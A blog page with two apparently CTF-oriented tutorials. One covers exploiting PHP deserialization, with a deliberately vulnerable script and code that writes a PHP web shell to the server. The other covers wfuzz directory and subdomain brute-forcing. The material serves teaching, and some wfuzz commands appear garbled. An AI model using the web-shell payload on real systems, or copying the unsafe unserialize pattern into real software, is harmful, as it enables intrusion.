Hacking Security Tutorials

PHP Deserialization

Exploiting it to gain remote code execution

PHP Deserialization is not something that I have much experience of, but having done a CTF recently which required me to exploit PHP deserialization to gain remote access, I realised how straight forward it can be. Through this post, I aim to provide a basic example of a deserialization to RCE exploit for those who aren’t familiar.

Before I share an example, let’s first review what serialization and deserialization mean. This write up assumes you have a very high level understanding of object orientation in programming languages.

What is serialization?

Put simply, serialization is a way to turn an object into a string. For example, you may have a user object in PHP that needs to be transmitted over the network to a users web browser, so that client side scripting such as JavaScript can handle the object, and read the properties of the object.

Essentially, serialization turns the PHP object into a string, ready for transmitting over a network.

What is deserializastion?

Deserialization is very simply the opposite of serialization. It turns a serialized string back into an object.

A vulnerable PHP Script (vuln.php)

I don’t claim to be an expert in serialization so there may well be other methods which I’m not covering, but I hope to show you an example where it is possible to gain Remote Code Execution.

Consider the following vulnerable code which writes the current time to a text file.


$getVar = $_GET['update'];

class timeUpdate
	public $currentTime = '';
        public $outputFile = 'time.txt';

        public function changeTime()
                echo 'The time in the file will be updated imminently.';

        public function __destruct()
		file_put_contents('/home/bootlesshacker/' . $this->outputFile, $this->currentTime);

$timeobject = unserialize($getVar);

$example = new timeUpdate;
$example->currentTime = date("F j, Y, g:i a");


Before we try and work out how to exploit this, let’s understand how this works. The PHP file contains a class called timeUpdate. At the bottom of the script, a new object is created ($example) using the timeUpdate class. The currentTime attribute is then set, and the changeTime function is called. The changeTime function simply echoes a message to advise the time in the file will be updated imminently.

The __destruct() function is then called which writes the contents of the current time to the file stored in the $this->outputFile variable – the reason this function executes is because the script has come to an end and the destruct function is called for any required cleanup activity (or, in this case, to write the current time to the required file).

But how can we exploit this?

You may also notice the file contains a line which uses the unserialize function to unserialize a HTTP GET variable ($_GET[‘update’]). Therefore, if we pass a serialized object string to that GET variable, it will unserialize it and the $timeobject will become the object we pass in via that GET variable.

We can exploit this by creating a timeUpdate object locally on our computer.

Let’s create a PHP file on our own computer to create our object.


class timeUpdate {
	public $currentTime = '<?php system($_GET["cmd"]); ?>';
	public $outputFile = 'shell.php';


echo urlencode(serialize(new timeUpdate));


When we run this file, it creates a new timeUpdate object, sets the currentTime variable to our payload, sets the output file name as shell.php, and then serializes this new object into a string. It then puts this serialized string into the urlencode function.

If we then visit the vulnerable PHP file passing the above value in via the GET parameter, it will create a new file called shell.php with our payload.

http://vulnerable-website.fake/vuln.php?update=OUTPUT FROM OUR SCRIPT

This works because as the vulnerable PHP script executes, it takes our GET parameter, unserializes our object (thereby creating our object within the context of the PHP script). As the script comes to an end, the destruct function for our new object is then called. This creates the new file called shell.php and inserts our payload which we can then use to get remote code execution:

This is a very basic example of exploiting PHP deserialization. The script you come across will likely have a different function, and you will need to identify what the script is doing in order to assess for any serialization vulnerabilities. I hope though this provides a small insight if you’ve not come across this before.



A lot of my CTF machines are made easier with the WFUZZ tool. I get a lot of questions around WFUZZ syntax. A few people also ask me for the exact command needed in some scenarios, but I feel this won’t really help people to learn unless they understand what the command is doing, and how it works. So, here is a quick article to help people out.

Put simply, WFUZZ is a web application bruteforcer. Combined with a wordlist, it can be used to scan domain names for files, or directories.

Basic Usage

$ wfuzz -w /usr/share/wordlists/dirb/big.txt

The command here will use the big.txt wordlist, and scan the domain name, appending each word in the wordlist in place of the word ‘FUZZ’ (one by one). You will need to adjust the domain and the wordlist as required. I ran the command on my local computer, and as you can see there are loads of responses.

The first column shows the request number, the second column shows the response code sent by the HTTP server. In the screenshot above, none of the files scanned existed so a 404 response code was returned.

If you are not familiar with HTTP response codes, refer to this webpage.

The third column shows the amount of the lines on the web page returned. Even with ‘404 Not Found’ response codes, a web page is still returned. In my scenario, you can see it contains 9 lines:

The fourth column shows the amount of words returned on the webpage. The fifth column shows the count of characters on the page returned, and the last column shows the page/request which was made.

You may be wondering why this is important? Using parameters, WFUZZ has filter functionality and it is important to understand how these filter parameters work to use them to your advantage. You can add a filter parameter to your command to exclude certain results (not include).

Filter Parameters

–hcHide responses with specified response code
–hlHide responses where count of lines on response is equal to specified value
–hwHide responses where word count of web page is equal to specified value
–hhHide responses where character count of web page is equal to specified value

Using these parameters is really easy. We just need to add them to our command. For example, if you want to exclude any 404 response codes, your command would look like this:

$ wfuzz --hc 404 -w /usr/share/wordlists/dirb/big.txt

When we run this command, it will show you all responses except any with a ‘404 Not Found’ response. These parameters are especially useful when enumerating sub-domains.

Enumerating Subdomains

WFUZZ is very good at enumerating sub-domains.

If you make a request to a web server to load a sub-domain, a lot of web servers are configured to return a default web page, even if the sub domain being requested does not exist.

As we can see here, I made a request for to my local web server using Telnet. The sub-domain doesn’t exist, but it still returned a 200 response code with the default web server HTML page.

This is important to know because if we are trying to find a sub-domain, we need to find a way to exclude the ‘default’ responses to find the sub-domain we are actually interested in, else it will be very difficult to find the needle in the haystack.

To do this, we need to run the command without any filters initially. To enumerate for sub-domains, your command will look something like this:

$ wfuzz -w -H "Host:" /usr/share/wordlists/dirb/big.txt

You will need to replace the IP address at the end of the command with the IP address of the web server you are making requests to. Similarly, you will also need to adjust the domain name as required. Syntax is very important here to be sure your command matches.

I ran a command similar to this against my local web server, and as I expected, I saw a lot of 200 response codes.

This is because, whilst these sub-domains don’t exist on the web server, the web server is still returning the default server web page. However, now that we know the word/line/character count of the default web page, we can exclude these from our results using the filters. Similarly, we probably want to exclude the 400 response codes as these will come up with most scans but aren’t necessarily useful.

$ wfuzz -w --hw 78 --hc 400 -H "Host:" /usr/share/wordlists/dirb/big.txt

Now that we have added hw and hc parameters to our command, we are now excluding certain responses. You will not see any output until a response is detected which isn’t excluded by your filters, therefore helping you find valid and legitimate sub domain names.

Hopefully, this has helped you understand more about how WFUZZ works, but feel free to drop me more questions if needed.